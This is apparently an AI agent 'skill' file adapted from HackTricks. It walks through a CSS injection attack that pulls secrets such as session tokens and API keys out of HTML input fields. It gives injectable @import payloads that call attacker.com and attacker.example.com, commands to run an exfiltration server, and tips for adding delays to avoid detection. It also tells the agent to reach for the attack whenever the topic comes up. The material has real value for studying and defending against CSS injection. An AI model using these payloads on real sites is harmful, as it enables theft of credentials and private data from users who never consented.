Hacktricks-skills css-injection-exfiltration

How to perform CSS injection attacks to exfiltrate data from input fields using CSS selectors and @import. Use this skill whenever the user mentions CSS injection, style injection, data exfiltration from forms, input field attacks, or wants to extract secrets from HTML input values. This is essential for web security testing when you need to extract hidden or sensitive data from input fields that can't be accessed through normal means.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/css-injection/css-injection-code/SKILL.MD
source content

CSS Injection Exfiltration

This skill teaches you how to perform CSS injection attacks to exfiltrate data from HTML input fields. CSS injection is a powerful technique for extracting secrets, tokens, or any data stored in input field values when you can inject CSS into a page.

How It Works

CSS injection exfiltration works by:

  1. Injecting CSS into the target page via a style tag or CSS file
  2. Using CSS selectors to match input field values (prefix/suffix matching)
  3. Triggering @import requests to your controlled server when selectors match
  4. Reconstructing the secret character by character through iterative requests

The technique uses CSS attribute selectors like

value^="prefix"
and
value$="suffix"
to test if an input's value starts or ends with specific characters. When a selector matches, it triggers a CSS
url()
property that makes a request to your server, leaking the matched character.

Setup

1. Start the Exfiltration Server

Use the bundled script to start your exfiltration server:

node scripts/css-exfil-server.js [port] [hostname]

Parameters:

  • port
    : Port to listen on (default: 5001)
  • hostname
    : Your server address (default: localhost:5001)

Example:

node scripts/css-exfil-server.js 5001 attacker.example.com

2. Inject the Initial CSS

Inject this CSS into the target page (via XSS, template injection, or any CSS injection vector):

<style>
  @import url("http://YOUR_SERVER:5001/start?");
</style>

Replace

YOUR_SERVER:5001
with your actual server address.

3. The Server Handles the Rest

Once the initial

@import
is triggered, the server automatically:

  • Generates CSS payloads to test each hex character (0-9, a-f)
  • Receives leak callbacks when characters match
  • Reconstructs the secret character by character
  • Stops when the full secret is extracted

Understanding the Attack Flow

Phase 1: Initialization

Target Page → @import → Your Server /start
Your Server → Returns CSS with character tests

Phase 2: Character Testing

For each position in the secret:

  1. Test suffixes - CSS checks if value ends with each hex char
  2. Test prefixes - CSS checks if value starts with each hex char
  3. Server receives callbacks - When selectors match, browser requests
    /leak?pre=X
    or
    /leak?post=Y
  4. Server waits for both - Needs prefix AND suffix match to confirm character
  5. Generate next payload - Move to next character position

Phase 3: Completion

When the full secret is reconstructed, the server receives

/end?token=SECRET
and stops.

CSS Selector Techniques

Prefix Matching

input[value^="abc"] { /* matches if value starts with "abc" */ }

Suffix Matching

input[value$="xyz"] { /* matches if value ends with "xyz" */ }

Exact Matching

input[value="exact"] { /* matches if value equals "exact" */ }

Character Class Testing

input[value$="0"], input[value$="1"], input[value$="2"] { /* test multiple */ }

Practical Examples

Example 1: Extracting a Session Token

Target HTML:

<input type="hidden" value="a1b2c3d4" name="session" />

Attack:

  1. Start server:
    node scripts/css-exfil-server.js 5001 attacker.com
  2. Inject:
    <style>@import url("http://attacker.com:5001/start?");</style>
  3. Server output:
    [+] END: a1b2c3d4

Example 2: Extracting API Keys

Target HTML:

<input type="text" value="sk_live_abc123xyz" />

Attack:

  1. Start server on your domain
  2. Inject CSS via any injection point
  3. Server reconstructs the full key

Example 3: Nested Input Fields

The attack works even with deeply nested inputs:

<div><div><div><div><input value="secret" /></div></div></div></div>

The server automatically handles nesting by adding

div 
selectors for each position.

Server Output Interpretation

[+] Server is listening on 5001
...pre-payload: a
...post-payload: 1b2c3d4
	req: /start?
	leak: waiting others...
	leak: waiting others...
	req: /leak?pre=a
	req: /leak?post=1b2c3d4
[+] END: a1b2c3d4
  • pre-payload
    : Characters confirmed at the start of the secret
  • post-payload
    : Characters confirmed at the end of the secret
  • END
    : Full secret extracted

Limitations and Considerations

Works Best With:

  • Hex strings (0-9, a-f)
  • Known character sets
  • Input fields with accessible values
  • Pages where CSS can be injected

May Not Work With:

  • Encrypted or hashed values
  • Very long secrets (browser may timeout)
  • Input fields with
    readonly
    or
    disabled
    attributes (sometimes)
  • CSP that blocks external CSS imports

Browser Compatibility:

  • Works in most modern browsers
  • Some browsers may block mixed content (HTTP CSS on HTTPS page)
  • CORS restrictions may apply

Advanced Techniques

1. Character Set Customization

Modify the server to test different character sets:

// In css-exfil-server.js, change the character array
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"]
// To:
["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]

2. Multiple Input Fields

The attack can target multiple inputs by adjusting selectors:

input[name="session"][value^="a"] { /* specific input */ }

3. Rate Limiting

Add delays between requests to avoid detection:

// In css-exfil-server.js, add setTimeout before genResponse
setTimeout(() => genResponse(response), 1000);

Security Testing Checklist

When testing for CSS injection vulnerabilities:

  • Identify CSS injection points (style tags, CSS files, template variables)
  • Check if input fields contain sensitive data
  • Verify CSP allows external CSS imports
  • Test with the exfiltration server
  • Document findings and affected endpoints

Legal and Ethical Considerations

Only use this technique on systems you own or have explicit permission to test. CSS injection exfiltration is a powerful attack that can extract sensitive data including:

  • Session tokens
  • API keys
  • Passwords (if stored in inputs)
  • Personal information
  • Authentication credentials

Always obtain proper authorization before testing.

Troubleshooting

Server not receiving requests

  • Check firewall settings
  • Verify the injected CSS is actually loaded
  • Ensure the server address is accessible from the target
  • Check browser console for CSS loading errors

Partial extraction

  • Some characters may not match (non-hex characters)
  • Adjust the character set in the server
  • Check if the input value changes dynamically

Slow extraction

  • Browser may be rate-limiting requests
  • Add delays in the server
  • Check network latency

References